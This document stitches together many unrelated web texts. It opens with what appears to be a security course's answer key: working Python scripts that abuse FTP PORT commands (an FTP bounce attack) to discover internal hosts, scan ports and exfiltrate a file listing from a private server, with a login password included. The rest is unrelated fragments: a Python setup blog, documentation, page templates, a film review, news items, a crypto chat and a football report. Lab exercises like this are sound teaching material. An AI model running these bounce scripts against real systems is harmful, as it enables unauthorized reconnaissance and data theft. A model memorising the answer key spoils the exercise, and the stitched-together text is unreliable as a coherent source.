6. Answers¶
6.1. Exercise 1¶
These answers are largely down to your exact network setup.
6.2. Exercise 2¶
6.2.1. Task 2: Discover hosts on the internal network¶
import sys, os
from cp_ftp import FTP
# List of discovered host IP addresses.
hosts = []
for last_octet in range(101, 132):
# Make a new FTP connection each time for simplicity.
ftp = FTP("<IP_ADDRESS>", debug=False)
ftp.send_login_commands("student", "golyeeHug6")
host = "192.168.56.%d" % last_octet
target_address = (host, 22)
################################################################################
# STUDENT TODO 1: Send a PORT command for target_address. Then send data to it.
# Hint: the provided examples/remote_port.py will be useful.
# Important: if a port is open then run:
# hosts_ports[host].append(port)
################################################################################
# Send a PORT command pointing to port 22 on this target.
ftp.send_port_command(target_address)
# If the PORT command was somehow invalid, skip this target.
response = ftp.recv_response()
if response.code != 200:
print(response)
continue
# Try sending file LIST output to target on port 22.
ftp.send_command("LIST")
response = ftp.recv_response()
print(target_address, response)
# Success is indicated by this response:
# 150 Opening ASCII mode data connection for file list
if response.code == 150:
hosts.append(target_address)
ftp.close()
print(hosts)
6.2.2. Task 3: Port scan discovered hosts¶
import sys, os
from cp_ftp import FTP
# List of discovered host IP addresses.
hosts = ["<IP_ADDRESS>", "<IP_ADDRESS>"]
hosts_ports = {}
for host in hosts:
hosts_ports[host] = []
for port in range(1, 1024):
# Make a new FTP connection each time for simplicity.
ftp = FTP("<IP_ADDRESS>", debug=False)
ftp.send_login_commands("student", "golyeeHug6")
target_address = (host, port)
################################################################################
# STUDENT TODO 1: Send a PORT command for target_address. Then send data to it.
# Hint: the provided examples/remote_port.py will be useful.
# Important: if a port is open then run:
# hosts_ports[host].append(port)
################################################################################
# Send a PORT command pointing to target port on target host.
ftp.send_port_command(target_address)
# If the PORT command was somehow invalid, skip this host.
response = ftp.recv_response()
if response.code != 200:
print(response)
continue
# Try sending file LIST output to target on chosen port.
ftp.send_command("LIST")
response = ftp.recv_response()
print(target_address, response)
# Success is indicated by this response:
# 150 Opening ASCII mode data connection for file list
if response.code == 150:
hosts_ports[host].append(port)
ftp.close()
for host in hosts:
print("%s has ports %s open." % (host, ", ".join(map(str, hosts_ports[host]))))
6.2.3. Extension Task: Exfiltrate data from a private FTP server¶
import sys, os
from cp_ftp import FTP
ftp = FTP("<IP_ADDRESS>", debug=True)
ftp.send_login_commands("student", "golyeeHug6")
################################################################################
# Build a script to get a LIST of files on the private server.
################################################################################
# 1. Commands to log in.
login_commands = ftp.get_login_commands("student", "golyeeHug6")
# 2. A PORT command for how to get data back to this script from the private server.
exfiltration_data_address = ftp.new_data_address()
port_command = ftp.get_port_command(exfiltration_data_address)
# 3. Build up the list of commands.
exploit_commands = []
exploit_commands.append(login_commands)
exploit_commands.append(port_command)
exploit_commands.append("LIST")
exploit_commands.append("QUIT")
# 4. Put the commands together. Pad with 1M nullbytes to ensure socket stays open long enough.
exploit_file = "exploit.txt"
file_contents = "\r\n".join(exploit_commands) + "\0" * 1000000
################################################################################
# STUDENT TODO 1: Upload the script to the server.
# Hint: the provided examples/stor.py will be useful.
################################################################################
# 1. Set the PORT to send data upon.
data_address = ftp.new_data_address()
ftp.send_port_command(data_address)
response = ftp.recv_response()
if response.code != 200:
print(response)
sys.exit(1)
# 2. Command to upload the exploit commands to a file.
ftp.send_command("STOR %s" % exploit_file)
response = ftp.recv_response()
if response.code != 150:
print(response)
sys.exit(1)
# 3. Send the exploit commands along the data connection.
ftp.send_data(file_contents)
response = ftp.recv_response()
if response.code != 226:
print(response)
sys.exit(1)
################################################################################
# STUDENT TODO 2: Have the server send the script to the private server.
# Hint: the provided examples/remote_port.py will be useful.
# Hint: unlike in that example, we *are* recieving data inbetween the two data
# transfer status responses.
# Hint: you need to get data from the same port as exfiltration_data_address.
# ftp.new_data_address(port=exfiltration_data_address[1])
# print("EXFILTRATED DATA: %s" % ftp.recv_data())
################################################################################
# 1. Tell server it can open Data Connection to private server's FTP Command port.
target_address = ("<IP_ADDRESS>", 21)
ftp.send_port_command(target_address)
response = ftp.recv_response()
if response.code != 200:
print(response)
sys.exit(1)
# 2. Tell server to open data and connection and send exploit commands to private server.
ftp.send_command("RETR %s" % exploit_file)
response = ftp.recv_response()
if response.code != 150:
print(response)
sys.exit(1)
# 3. Rebind to the exfilitration port chosen earlier and read LIST of private files from it.
ftp.new_data_address(port=exfiltration_data_address[1])
print("********* [EXFILTRATED DATA BEGINS] *********")
ftp.recv_data()
print("********* [EXFILTRATED DATA ENDS] *********")
# 4. Final success/failure mode for sending exploit commands to private server.
response = ftp.recv_response()
if response.code != 226:
print(response)
sys.exit(1)
ftp.close()


Python Setup
Intro
Setting up your Python environment, especially when you're new to coding, can be overwhelming. There are various options that aim to make the process easier. Anaconda, for example, is a free distribution that includes over "300 of the most popular Python packages." For many people, this is a great solution. For individuals who want control over which packages are installed, Miniconda might be a good option.
When I originally set up my environment, I installed all packages to the global Python—the one that came bundled with OS X—site-packages
directory. Toward the end of my first semester of graduate school, an installation of a new package broke an existing one. I had to restore (erase and reinstall OS X) my system.
The second time around, I used virtual environments, which isolate their associated Python packages into their own directories. If something goes wrong, the directory can simply be deleted. For more information on using virtualenv
and virtualenvwrapper
check out this article from The Hitchhiker's Guide to Python.
In this post, I'll explain how to set up your Python environment in Mac OS X (currently 10.10.5) and how to use virtualenvwrapper
.
Set Up
There are a few things which must be installed prior to getting into Python. We'll need to install Xcode's command line tools, which installs the GNU Compiler Collection, as well as homebrew
, a package manager for OS X. Depending on the version of your OS, you might also need to install Xquartz. You'll find out when you try installing Python.
First, if you don't already have Xcode, you'll want to install it. For our purposes, we can simply install the command line tools, a much smaller download.
$ xcode-select --install
Next, we'll want to install homebrew
.
$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
To ensure that it installed successfully, run the following.
$ brew doctor $ brew update
Also, make sure that /usr/local/bin
is at the top of your PATH
environment variable.
Now, we can install Python. If you're on OS X, you'll already have Python installed, but installing from homebrew
has many benefits. For a nice list, read this Hacker Codex post. Let's install both Python2 and Python3.
$ brew install python $ brew install python3
Let's check that our newly installed versions of Python point to the correct locations. The expected output is shown below each command. We'll do the same for pip
, which we'll be using for installing Python packages.
$ which python /usr/local/bin/python $ which python3 /usr/local/bin/python3 $ which pip /usr/local/bin/pip
To install virtualenv
and virtualenvwrapper
, use pip
.
$ pip install virtualenv $ pip install virtualenvwrapper
You'll also need to add a directory that will be the home for the virtual environments you decide to create. I created the .virtualenvs
, as shown below.
$ mkdir ~/.virtualenvs
You can name the directory whatever you like, but note that you'll have to replace .virtualenvs
with the name of your directory in the code that follows.
If you use bash
, which is the default shell in OS X, you'll need to add the following to your ~/.bashrc
file. This let's virtualenv
know where to put the virtual environments.
export WORKON_HOME=$HOME/.virtualenvs source /usr/local/bin/virtualenvwrapper.sh
That's actually it for the set up! It seems like a lot, but this work up front will pay itself off down the line.
Recap. We installed: command line tools, homebrew
, Python, and virtualenv
and virtualenvwrapper
. We also modified our .bashrc
file.
Creating Virtual Environments
Python 2.7
Let's discuss how to create and use our virtual environments. To create a new one, use the following.
$ mkvirtualenv datascience
This has created a new folder inside of .virtualenvs
called datascience
. It has also activated the virtual environment. This means that you have access to any Python packages associated with that environment—to see what's currently installed use pip list
—and that any package installs will be put in $HOME/.virtualenvs/datascience/lib/python2.7/site-packages
. ($HOME
is just a variable that contains the address of your home directory. In the terminal, run echo $HOME
to see your home directory path.)
Since we're interested in data science, let's install the following packages.
$ pip install numpy scipy matplotlib pandas scikit-learn statsmodels $ pip install jupyter $ pip install seaborn
If you then pip list
, you'll see all the above packages listed (along with some default ones). To exit the virtual environment, simply type deactivate
at the terminal.
Below, I show the process of creating a virtual environment, installing a Python package to it (and listing installed packages), and deactivating it.
Notice the active virtual environment name in the parentheses. (Note that your prompt might look different based on any customizations you may have done.) In this example, pip list
shows us that numpy
, pip
, setuptools
, and wheel
are installed—the last three are installed with each virtual environment instance by default.
You can create more than one virtual environment. In fact, that's the point. Virtual environments were created to help "keep the dependencies required by different projects in separate places." This is a common practice for developers. Data scientists might want to create virtual environments for specific tasks. For example, one for machine learning, one for web scraping, one for natural language processing, etc.
To keep track of the virtual environments you've created, use lsvirtualenv -b
. To activate an existing virtual environment, assuming you're not already in one, use workon <name>
. If you ever want to delete a virtual environment, just use rmvirtualenv <name>
.
Python 3
Let's say you're ready to start using Python 3, which is highly recommended. (If you're not convinced, watch Jake VanderPlas's SciPy 2015 keynote, "The State of the Stack.") If you want to create a virtual environment that uses Python 3, do the following.
$ mkvirtualenv -p python3 <name>
This new virtual environment will now use Python 3 by default. Everything else works as explained above.
Final Thoughts
That's it! Your Python environment is now set up such that you can more effectively control packages and how they interact.
Special thanks to Joël Parras and Marina Mele for their fantastic tutorials on this subject, which much of this post is based on.


ddl.DDLError
Authors:
Eric Anderton, Lars Ivar Igesund
License:
BSD Derivative (see source for details)
class
DDLError
: object.Error;
Error subclass for DDL internals. Used when the application needs to halt, due to something un-recoverable.


commplish
logout
home
Edit badges
Invite other projects
Edit description
Collection badges
add new
Adding badges here will make them available for you and your collaborators to give to your users.
Invite other projects
Inviting other projects to this collection will give them full rights to create new badges within this set, to give their users these badges, and to add new users to recieve badges. Projects must accept your invites before they are added.
Project ID
A project ID can be found in the url of its profile page.
Collection description
Description
A brief description of the collection
Add new badge
Add details for your new badge here. Once created, you will be able to start giving it to your users. Both title and icon are required.
Title
badge names are permanent and unique in a collection
Description
A brief description of the badge
Icon
An icon for the badge
Or search public icons
Commentor badge details
Modify details for your badge here. The title for a badge cannot be changed after creation. Leave the icon file upload blank if you do not wish to change it.
Description
A brief description of the badge
Icon
An icon for the badge
back
next
Search


My Explorations
You don't have any explorations yet.
States that need a little help
sorted by priority score, higher scores indicate larger impact
-
(score: <[state.rank]>)
<[state.exp_name]>: <[state.state_name]>
may be confusing. Students often quit when they get to this state.
may need a bit more feedback. Students seem to keep hitting a no feedback state.
Common answers:
-
<[answer[0]]> (<[answer[1]]> times)
All your explorations are doing good!


{% extends "gridder_base.html" %} {% block content %}
Thank you for registering!
Check your email for the activation link.


Dummy page for adding more viewing users
Lets you test the heartbeat display code by letting you have one user present per tab.


EMPEROR OF THE NORTH (director: Robert Aldrich; screenwriter: Christopher Knopf; cinematographer: Joseph Biroc; editor: Michael Luciano; cast: Lee Marvin (A No. 1), Ernest Borgnine (Shack), Keith Carradine (Cigaret), Charles Tyner (Cracker), Simon Oakland (Policeman), Elisha Cook (Gray Cat), Jr., Sid Haig (Grease Tail), Malcolm Atterbury (Hogger), 1973)
Reviewed by Dennis Schwartz
Robert Aldrich set this epic duel between the king of the hoboes versus the most sadistic of Railroad Men during the height of the Great Depression in 1933. The simple story taps in on the hatred the railroad people have for the tramps. It is about one bum's aim, Lee Marvin, who is known as A No. 1, king of the hoboes, to ride the previously unridden No. 19 freight train of the murderous Shack (Ernest Borgnine).
Aldrich for the most part steers clear of the political situation in the country, instead he uses these men as powerful mythic symbols, showing the oppressed versus the oppressor. Marvin is laconic, immensely proud to be a hobo, and proud enough to claim he can ride any train for free. While Borgnine is a sadist, who sports a menacing grin. He will sledgehammer anyone to death who thinks they can get a free ride on his train. Borgnine's claim to fame is, no one gets a free ride on his train unless they want to be dead.
Into the picture comes a young hobo called Cigaret (Keith Carradine), who has an unmitigating gall for taking risks but has trouble telling the truth. He has no class in the beginning of the film and no class by the film's end, as he forces himself on Marvin, riding along with him on No. 19. Marvin reluctantly tries to make him a hobo, but the kid is a wise guy, always making a backstabbing remark as a rejoinder to anything Marvin says.
Marvin announces his challenge to Borgnine on the water tower: A-No. 1 to Portland on train No. 19. This comes after Marvin rode in with Borgnine to New Orleans for a short hop, but was discovered in the empty cattle car, when Carradine also jumped in. When Borgnine locks them in the car, it spells certain doom for them, but Marvin sets the car on fire and jumps out in time.
Not able to shake Carradine, he acts as a reluctant teacher to him, trying as best he could to warm up to the obnoxious kid. When they are spotted by Cracker (Tyner), another enforcer on the train, they are forced to jump off. But determined to continue, Marvin greases the tracks to slow down another passenger train and thereby meet No. 19 in Salem, Oregon.
Trying to teach the kid the ropes, he takes him to a Baptist baptism in the river and has the kid steal their clothes while they are going through with the dunking ritual. If the kid could just shut up and be grateful that he is learning how to be a hobo from the king, Marvin could have warmed up to him a little.
But Marvin's main beef is with Borgnine. This all leads to the duel between the steel chain swinging Borgnine and the board wielding Marvin, as Carradine chickens out and becomes only a cheerleader for Marvin. The fight atop the moving train is filled with blood and gore.
Marvin is terrific as the spry and wizened hobo. He becomes the only one to ride No.19 for free. Borgine is a caricature of someone spewing hatred. Carradine is the one who breaks the illusion that all the hoboes are good and all the railroad men bad. Aldrich's film is muscular, depicting the natural beauty of the Oregon countryside, while the aimless life of the hoboes is humorously set in motion. It's just too bad that the director couldn't connect all the dots with the corrupt political situation that caused this great suffering and left so many with hardened hearts.
REVIEWED ON 6/14/2000 GRADE: B-
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


--- layout: page title: Registration registration_state: closed form_api_token: 19135be0cf2b871b48e7edb637e568c3 email<EMAIL_ADDRESS>--- {% case page.registration_state %} {% when 'notyet' %}
{% when 'closed' %} {% when 'open' %}You can use this form to register for the First GAP-SageMath Days.
If you any questions regarding registration or the even in general, feel free to contact us via email.
{% endcase %}


Source code, binaries and/or any other resources in the package labeled "com.bric" are copyright (c) 2009 by Jeremy Wood. They are available under the Modified BSD license (see below).
Any resources not in the "com.bric" package may be subject to additional license terms and restrictions.
If you have any questions about this jar, the relevant licenses, the source code, etc., please contact<EMAIL_ADDRESS>This jar is part of the "javagraphics" project, discussed here and available for download here
Copyright (c) 2009, Jeremy Wood.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* The name of the contributors may not be used to endorse or promote
products derived from this software without specific prior written
permission.


At least four dead after massive floods hit southeastern France
by ReutersFour people were found dead on Sunday after massive flooding that has hit southeastern France since Friday, causing major damage in the region, local authorities said.
One person was found dead near Muy, between the towns of Nice and Marseille, after falling off a rescue boat near Muy late on Saturday, the police prefecture of the Var department said in a statement.
Another body was found in a car in Cabasse and two people were found dead in Tanneron, it added.
A 77-year old man has been missing since Saturday morning in Saint-Antonin-du-Var.
Several rivers burst their banks in southeastern France, causing major damage as homes were flooded and cars and boats were swept along by the waters.
Interior Minister Christophe Castaner travelled to the Var on Sunday to meet victims and rescue workers as rain continued to fall in the region, although it was not as heavy as in previous days and floods started to subside.


Full Stack Engineer
CST 300
CST 338
CST 363
CST 334
CST 311
CST 336
CST 462S
CST 328
CST 370
CST 383
CST 329
CST 438
CST 499
I'm a Full Stack Developer specializing in Python and JavaScript. I have been working as a Full Stack Developer for 2 years and looking to transition into a DevOps engineer. The Cal State Monterey program is meant to not only allow us to get a bachelor's degree in computer science, but also teach us computer science theory while applying it to real life situations.
My goal is to become a DevOps engineer doing what I love and being able to give back to my community by giving tech talks and mentoring support.


NO!
Alright. About time to wind down this chapter. You may wish to review the following. Click on a subject that interests you to go to where it was discussed.


| filehandle = the variable returned by the Readfile WriteFile or OpenFile when the file was opened. The value returned is the offset from the start of the file. ( 0 = Start of the file ) |
|
This command returns the current position within a file that is being processed following ReadFile, WriteFile or OpenFile. The returned integer is the offsets in bytes from the start of the file to the current read/write position. Note, this is zero when pointing to the first byte of the file.
By using FilePos and SeekFile the position within the file that is being read or written can be determined and also changed. This allows a file to be read and updated without having to make a new copy of the file or working through the whole file sequentially. This could be useful if you have created a database file and you want to find and update just a few records within it. It is also possible to create an index file that contains pointers to where each record starts in a data file. |
|
; Changing part of a file using OpenFile, SeekFile, FilePos
; note FilePos is used in the SearchFile function at the end of this example ; Open/create a file to Write fileout = WriteFile("mydata.dat") ; Write the information to the file WriteInt( fileout, 1 ) WriteInt( fileout, 2 ) WriteInt( fileout, 3 ) WriteInt( fileout, 4 ) WriteInt( fileout, 5 ) ; Close the file CloseFile( fileout ) DisplayFile( "The file as originally written", mydata.dat" ) Position = SearchFile( 4 , "mydata.dat" ) Write "Value 4 was found " Write Position Print " bytes from the start." ; Open the file and change the value 3 to 9999 file = OpenFile("mydata.dat") SeekFile( file, Position ) ; Move to the found location WriteInt( file, 9999 ) ; Replace the original value with 9999 CloseFile( file ) DisplayFile( "The file after being modified", "mydata.dat" ) WaitKey() End ; End of program ; **** Function Definitions follow **** ; Read the file and print it Function DisplayFile( Tittle$, Filename$ ) Print tittle$ file = ReadFile( Filename$ ) While Not Eof( file ) Number = ReadInt( file ) Print Number Wend CloseFile( file ) End Function ; Search a file of integers for the Wanted data value ; Note the need to subtract 4 from the location since having read it ; we are now pointing at the next Integer also Return() was placed ; after closing the file so it is closed properly Function SearchFile( Wanted, Filename$ ) file = ReadFile( Filename$ ) While Not Eof( file ) If ReadInt( file ) = Wanted Then Location = FilePos( file ) - 4 Wend CloseFile( file ) Return( Location ) End Function |


Maximize your monies! Increase your mining profitability with your CPUs and GPUs by mining the new Veruscoin VRSC Verushash 2.1 algorithm. Here's our in-depth video guide tutorial! Subscribe to VoskCoin - http://voskco.in/Sub
Buy and Sell Veruscoin here! - http://voskco.in/a...
5
1
1
hyperDEX18-Dec-19 06:25 AM
Still waiting on the KMD videos......
9
6
PTYX18-Dec-19 06:49 AM
@hyperDEX not until notary node elections of course
5
3
2
sφldat18-Dec-19 11:05 AM
6
1
Alright18-Dec-19 12:06 PM
@VoskCoin your node has mined roughly 8000 KMD, did any of this go to "fund[ing] Komodo news and tutorials"?
Alright18-Dec-19 12:15 PM
@Greer if the node is auto-reelected, I hope it's greer_EU going forward
Greer04/16/2019
he'll do way more for komodo than I would
Claim your KMD rewards on your hardware wallet device.
farl18-Dec-19 03:19 PM
Yes, that one works. Thanks @gcharang
2
Acura18-Dec-19 03:20 PM
Claiming via nano X works for the original Link von luke
gcharang18-Dec-19 05:53 PM
yes
he said he blocked you
it seems you asked him for his wallet.dat
I am not banning you now because I am not sure if you were really trying to scam (as his actual wallet.dat is deleted)
please don't try to contact him again
if you have ways to recover his address please describe them in a public channel and we will all be grateful if your method works and helps a community member
Alright18-Dec-19 06:03 PM
checking every box in the "is this person a scammer" checklist
You show up with a fresh account immediately after a user asking for help recovering a large amount of money
and apparently ask that user for his wallet.dat, so....
I have no doubt you're a scammer
if not a scammer why the sock puppet account?
Slyris18-Dec-19 06:53 PM
@Alright Don't waste time, ban him.
And if you can ban ip feel free.
He is obviously a scammer, we don't need that.
polycryptoblog18-Dec-19 07:08 PM
Done
vand318-Dec-19 09:18 PM
I just got my first 10 kmd
5
3
Llama18-Dec-19 10:15 PM
grats! @vand3
VoskCoin18-Dec-19 10:20 PM
@Alright ill be glad to post a breakdown of funding in the near future
@ComputerGenie 👴🏼📢 always great to see you here shit talking
Maximize your monies! Increase your mining profitability with your CPUs and GPUs by mining the new Veruscoin VRSC Verushash 2.1 algorithm. Here's our in-depth video guide tutorial! Subscribe to VoskCoin - http://voskco.in/Sub
Buy and Sell Veruscoin here! - http://voskco.in/a...
I increased my crypto mining profitability by 10x or ten times by learning to CPU mine on Monero RandomX and then mining Veruscoin on their Verushash 2.1 hardfork. Here's how and also the best CPUs for mining cryptocurrency.
#JustSayin'
VoskCoin18-Dec-19 10:24 PM
i never claimed to have ran the node
and im busy right now so I'm not going to sit here and argue with you in this server for the next hour because you're unhappy with your life lol
ComputerGenie 👴🏼📢18-Dec-19 10:25 PM
i never claimed to have ran the node
then it's not "talking shit", it's a perfect parallel to call it a "RINO" ♂
because you're unhappy with your life
the only thing I'm unhappy about is that I had to get up from supper for this
VoskCoin18-Dec-19 10:26 PM
idk idc, everytime I peep my head in here and catch up on some info you're in some sort of argument or making rude remarks
ComputerGenie 👴🏼📢18-Dec-19 10:27 PM
maybe you should come around more often then ♂
I do find it mildly interesting that you sought to attack me and not actually respond to the comment @Alright made and I agreed with, though
VoskCoin18-Dec-19 10:31 PM
@sφldat@PTYX@hyperDEX@Alright@ComputerGenie 👴🏼📢
Once node costs are reimbursed and I convince @Greer he deserves the lion share of the remains, then the rest will fund KMD news & to be blunt that's hardly any funding for the work involved.
1
there's over $2000 in server bills alone
sφldat18-Dec-19 10:32 PM
so if I understand correctly, a place is available for the next election?
ComputerGenie 👴🏼📢18-Dec-19 10:33 PM
for the work involvedgoes back to his lasagna
VoskCoin18-Dec-19 10:33 PM
If anyone wants to help w/ content creation via research/articles/key points and features to cover, I'm all ears. But if you just want to waste time arguing, I don't have the time or interest for it
PTYX18-Dec-19 10:40 PM
The above doesn't make any sense at all. So you want more funds to complete your promise as a notary?
I like that you made content for Verus but why isn't there any content for komodo?
There's also no way you spend $2000 in Komodo server bills
Llama18-Dec-19 10:49 PM
i love vosk calling out genie and genie trying his hardest to refute it
PHBA206118-Dec-19 11:09 PM
I pay about $200/month for both of my NN servers
sφldat18-Dec-19 11:21 PM
what kind of server do you have @VoskCoin to pay more than 10x expensive?
ComputerGenie 👴🏼📢18-Dec-19 11:26 PM
There's also no way you spend $2000 in Komodo server billsspent more than that in the last 6 months ♂
there are less expensive alternatives, but that's not an "absurd" figure, my server is $2100 for 6 months(edited)
genie trying his hardest to refute it
what was I "refuting"?
VoskCoin18-Dec-19 11:37 PM
On mobile atm but I can furnish bills if you’d like, nothing to hide, it’s likely ~$2500 since the nodes inception. & there’s no diy route being in EU vs USA my location
& our two servers aren’t even overkill, they’re spec’d to meet requirements, as promised.
A NN first job is being a NN, second is everything else as the network should naturally be the most imperative
@ComputerGenie 👴🏼📢 looks like we are allies now
ComputerGenie 👴🏼📢18-Dec-19 11:38 PM
is an ally with facts
1
1
VoskCoin18-Dec-19 11:38 PM
The best kind
sφldat18-Dec-19 11:48 PM
thank you for your answer @VoskCoin ,it's positive to have nothing to hide. it's true that the kmd price is not at its best. but I think everyone would be happy when you have time to make a short video about Komodo, especially about the new features.
Alright18-Dec-19 11:48 PM
I forgot that we were talking about your verus NN
Don’t really care, just wanted to point out that you made a bunch of promises and didn’t follow through
season ain't over, prove all of us nay-sayers wrong?


Confirm your Order
British Empire—
1
200.00
click to expand contents
Soda
50
Mopheurs—
1
200.00
click to expand contents
Water
50
Payable Amount :
400.00
loading


We're so happy that you're coming to our wedding, your presence and support on the day is all the gift we're expecting.
Since some of you have asked, we have put together a small set of registries:
We're so happy that you're coming to our wedding, your presence and support on the day is all the gift we're expecting.
Since some of you have asked, we have put together a small set of registries:


When science meets mindfulness
Researchers study how mindfulness may change the brain in depressed patients
Read story
Unearthing the secrets of the Aztecs
Archaeologist whose work unveiled major aspects of Aztec religion, life, and society discusses what has been learned
Making ‘a case for the small’
Civil Rights progress isn’t just about breakthroughs, Danielle Allen reminds a Harvard audience
Before cancer kills, it cheats
Arizona State evolutionary biologist sees promise in efforts to control, if not eradicate, the disease
Events
Tuesday, April 10, 2018, 6:00pm - 8:00pm
Excavations of the Great Aztec Temple: Eduardo Matos Moctezuma Discovers Himself
Tuesday, April 10, 2018, 7:00pm - 9:00pm
In Bloom
Wednesday, April 11, 2018, 12:00pm - 1:00pm
Donald Trump's Reactionary Mind: Corey Robin at The Harvard Law Forum
Wednesday, April 11, 2018, 12:00pm - 1:00pm
How to Fix Youth Sports Concussion Laws: Neuroscientific Perspectives
Video
Harvard names Lawrence S. Bacow as 29th president
Lawrence S. Bacow, one of the most experienced and respected leaders in American higher education, will become the 29th president of Harvard University on July 1, 2018.
First generation graduate hopes to impact and better lives in marginalized communities
Raised by immigrant parents, Yesenia Ortiz was their second child to attend Harvard, and is using the opportunity to help others overcome the obstacles her parents faced.
Latest Harvard Gazette News
Harvard art historian minds the details in lecture on Rome
Civil Rights progress isn’t just about major breakthroughs, Danielle Allen says
Harvard researchers study how mindfulness may change the brain in depressed patients
Unearthing the secrets of the Aztecs
Get the latest Harvard Gazette news delivered to your inbox.


What is a Bayesian Neural Network?
A Bayesian neural network (BNN) refers to extending standard networks by treating the weights as random variables. Thus, training a BNN focuses on posterior inference given data. In practice, they arise naturally when priors are placed on the weights of a network. They are relatively simple beasts, and, in my opinion, far more interesting than the model itself is the approximate posterior inference associated with them.
Standard NN training via optimization is (from a probabilistic perspective) equivalent to maximum likelihood estimation (MLE) for the weights. For many reasons this is unsatisfactory. One reason is that it lacks proper theoretical justification from a probabilistic perspective: why maximum likelihood? Why just point estimates? Using MLE ignores any uncertainty that we may have in the proper weight values. From a practical standpoint, this type of training is susceptible to overfitting, as NNs often do.
One partial fix for this is to introduce regularization. From a Bayesian perspective, this is equivalent to inducing priors on the weights (say Gaussian distributions if we are using L2 regularization). Optimization in this case is akin to searching for MAP estimators rather than MLE. Again from a probabilistic perspective, this is not the right thing to do, though it certainly works well in practice.
The correct (i.e., theoretically justifiable) thing to do is posterior inference [1, 2], though this is very challenging both from a modelling and computational point of view. BNNs are neural networks that take this approach. In the past this was all but impossible, and we had to resort to poor approximations such as Laplace’s method (low complexity) or MCMC (long convergence, difficult to diagnose). However, lately there have been some super-interesting results on using variational inference to do this [3], and this has sparked a great deal of interest in the area.
BNNs are important in specific settings, especially when we care about uncertainty very much. Some examples of these cases are decision making systems, (relatively) smaller data settings, Bayesian Optimization, model-based reinforcement learning and others.
Originally a Quora answer, later a KDnuggets post


subject = "Loopshape :: {{ subject }}" == Hello {{ sender_name }}, An user sent you a message from website. Name: {{ name }} Email: {{ email }} Phone: {{ phone }} Message: {{ body|raw }} ==
Hello {{ sender_name }},
An user sent you a message from website.
Name: {{ name }}Message:
{{ body|raw }}


An aspiring undergraduate student
I write in:
Thanks for visiting! Get in contact with me via LinkedIN Rasika Purohit


If you're looking for a style like APA, Harvard, etc... just use the search box at the top of the page to search for a style name, or journal title.
If you don't know the name of the style, but know what the final citation should look like, you can use our search by example tool to find styles that most closely match.
If you can't find a style that quite suits your needs, find one that's a pretty close match and click the "Edit style" button to open that style in the visual editor.
Once you've found a style that's suitable for you to use, simply click the "Install" button on the search results, or "Save" a style you've edited, to use it in your reference manager.


I'm a soon to be engineer with a newly found interest in web and mobile technologies. Aside from that gamer, runner, thinker, planner or creative are some titles that describes me.
A mobile VR experience where you navigate a creepy cellar to solve a murder mystery. The game consisted of several 270 degree videos stitched together using simple interaction. In this project I worked with the interaction, both the design and development part of it.
A course project where I was responsible for the multiplayer aspect of the game and supposed to make virtual objects to synchronize between mobile units. I succeded but because of time constraints the multiplayer didn't make it in the final prototype.
The goal of the project was to explore new ways of interaction in Smart Device Augmented Reality (SDAR). We found motion gesture to be a candidate and developed an AR crossbow game. I worked mostly with the software development of the prototype but I also conducted and evaluated user tests.
I'm a guy with maybe too many interests and hobbies.
Self-taught guitar player with the help of the wonderful internet, as most people nowadays. Funky rythms combined with awesome rock solos is my thing. Red hot chili peppers is obviously my favourite band of all times.
I guess I would call myself a gamer but have recently found the fun in less digital games. Board games but also pen and paper RPG adventures, where I'm of course mostly the game master.
I began as a tennis player but at 15 years I realised I always was better at running long distances. Running gives me energy and therefore are mornings the best time to run.
It started in middle school where we watched Al Gore's "An Inconvenient Truth" but it wasn't until I took the mandatory sustainability course at KTH that I became more active in the subject. What can I do as an individual to make less impact on our planet and how can the industry I'll be working in become more sustainable?


TOP COMEBACK
Scotland 3 Kazakhstan 1: John McGinn rescues third spot in Euro qualifying group
by Robert GrieveTHEY’VE won three in a row when it counts for nothing.
Now Steve Clarke’s Scotland need to prove they can produce when it means absolutely everything.
San Marino at home, Cyprus away. Last night Kazakhstan became the latest team to trudge off in defeat in front of the Tartan Army.
But can this group of battle-scarred players deliver a couple of victories when there’s more than pride at stake?
In four months’ time we’ll find out.
But maybe, just maybe this team is timing its run to perfection and is heading to the Euros after all via the March play-off route.
John McGinn certainly couldn’t be doing any better in a dark blue jersey as he scored twice again last night to take his tally to seven goals in his last six Scotland games.
Steven Naismith also hit this net here in this comeback victory after Kazakhstan stormed into a first-half lead.
It was always going to be hard to judge these players in such a meaningless fixture like this.
They all say pulling on the dark blue jersey is the same honour and privilege regardless of the circumstances. An international cap is an international cap no matter the opposition or occasion, and all that.
But the atmosphere inside Hampden told a different story.
This was never going to be a game where the loyal Scotland supporters would see their heroes at their very best.
All anyone could hope for was that there would be signs of progress ahead of the big important play-off in around four months’ time. That they wouldn’t see them at their worst.
And by the end of the 90 minutes there was enough to feel encouraged by - certainly when it comes to the players Clarke has from middle to front.
McGinn’s passionate performance was again everything the supporters want to see with James Forrest and Ryan Christie impressive again. Ryan Jack and Callum McGregor are beginning to look like a really solid partnership in the heart of midfield.
Clarke went with the same line-up that started against Cyprus in Nicosia at the weekend which was possibly the first surprise.
Could he have freshened things up?
Should he have brought in the likes of John Fleck, Stuart Armstrong or Graeme Shinnie to start this one?
Possibly. But the Scotland boss clearly wanted continuity in selection as he picked, arguably, his strongest team from the players available.
There’s no doubt Kazakhstan looked far more energetic in the first-half.
That said McGinn had two half-chances in the first 20 minutes which he should have maybe done better with.
The Aston Villa star’s first opportunity almost came too early in the game as he couldn’t quite asort his feet out to get on the end of a good cross from left-back Greg Taylor.
The second chance saw McGinn pull a shot just wide of target from inside the penalty box.
That was as encouraging as it got in a first-half which was seriously lacking in genuine quality from a Scotland point of view.
And the goal Clarke’s side conceded after 34 minutes only underlined the fragility of this defence of his.
